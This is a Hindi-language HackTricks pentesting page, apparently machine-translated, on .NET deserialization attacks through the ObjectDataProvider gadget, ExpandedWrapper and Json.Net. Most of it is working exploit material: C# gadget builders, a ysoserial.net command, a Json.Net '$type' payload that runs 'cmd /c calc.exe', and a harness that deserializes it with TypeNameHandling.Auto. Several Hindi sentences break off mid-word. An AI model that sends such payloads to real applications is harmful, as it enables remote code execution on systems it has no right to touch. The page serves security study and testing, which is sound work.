hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

13 KiB

बेसिक .Net डीसीरियलाइजेशन (ObjectDataProvider गैजेट, ExpandedWrapper, और Json.Net)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

यह पोस्ट ObjectDataProvider गैजेट को उत्पन्न करने के लिए कैसे उपयोग किया जाता है ताकि RCE प्राप्त किया जा सके और Serialization पुस्तकालय Json.Net और xmlSerializer को उस गैजेट के साथ दुरुपयोग कैसे किया जा सकता है को समझने के लिए है।

ObjectDataProvider गैजेट

दस्तावेज़ीकरण से: ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
हाँ, यह एक अजीब व्याख्या है, इसलिए चलिए देखते हैं कि इस क्लास में क्या है जो इतना दिलचस्प है: यह क्लास एक विविध ऑब्जेक्ट को रैप करने की अनुमति देता है, MethodParameters का उपयोग करके विविध पैरामीटर सेट करने के लिए, और फिर MethodName का उपयोग करके एक विविध ऑब्जेक्ट घोषित करने के लिए एक विविध फ़ंक्शन को कॉल करने की अनुमति देता है
इसलिए, विविध **ऑब्ज

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

नोट करें कि आपको System.Windows.Data लोड करने के लिए C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll को संदर्भ में जोड़ना होगा।

ExpandedWrapper

पिछले एक्सप्लॉइट का उपयोग करते हुए ऐसे मामले होंगे जहां object को ObjectDataProvider इंस्टेंस के रूप में डीसीरियलाइज़ किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करके, ऑब्जेक्ट को GetType का उपयोग करके डीसीरियलाइज़ किया गया था)। फिर, जिस ऑब्जेक्ट के पैकेट में बंधा है, उसके बारे में कोई जानकारी नहीं होगी ObjectDataProvider इंस्टेंस में (Process उदाहरण के लिए)। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं।

यह क्लास एक दिए गए इंस्टेंस में बंधे ऑब्जेक्ट के ऑब्जेक्ट टाइप को निर्दिष्ट करने की अनुमति देता है। इसलिए, यह क्लास एक स्रोत ऑब्जेक्ट (ObjectDataProvider) को एक नए ऑब्जेक्ट टाइप में ढकने और हमें आवश्यक गुण प्रदान करने के लिए उपयोग किया जा सकता है (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters)।
यह पिछले प्रस्तुत मामले के लिए बहुत उपयुक्त है, क्योंकि हम _ObjectDataProvider_ को एक ExpandedWrapper इंस्टेंस के अंदर लपेट सकेंगे और जब इसे डीसीरियलाइज़ किया जाएगा तो यह क्लास MethodName में निर्दिष्ट कार्य को चलाएगा जो OjectDataProvider ऑब्ज

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

आधिकारिक वेब पेज पर इसका उल्लेख है कि यह पुस्तकालय **Json.NET के शक्तिशाली JSON सीरियलाइज़र के साथ किसी भी .NET ऑब्ज

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net का दुरुपयोग

ysoserial.net का उपयोग करते हुए मैंने यह उत्पीड़न बनाया:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

इस कोड में आप एक्सप्लॉइट का परीक्षण कर सकते हैं, बस इसे चलाएं और आप देखेंगे कि एक कैल्क चलाया जाता है:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥